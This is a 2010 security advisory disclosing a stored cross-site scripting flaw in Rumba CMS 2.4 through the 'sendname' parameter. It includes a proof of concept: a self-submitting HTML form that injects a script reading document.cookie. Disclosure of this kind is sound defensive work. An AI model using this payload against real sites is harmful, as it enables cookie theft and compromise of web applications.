Vulnerability ID: HTB22591 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_rumba_cms.html Product: Rumba CMS Vendor: Rumba Netware Ltd. ( http://rumbacms.com ) Vulnerable Version: 2.4 and Probably Prior Versions Vendor Notification: 18 August 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "sendname" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php"; method="post" name="main" > <input type="hidden" name="sendtags" value="cms" /> <input type="hidden" name="sendid" value="newtag" /> <input type="hidden" name="sendname" value='New tag"><script>alert(document.cookie)</script>' /> <input type="hidden" name="event" value="add_tag" /> </form> <script> document.main.submit(); </script>
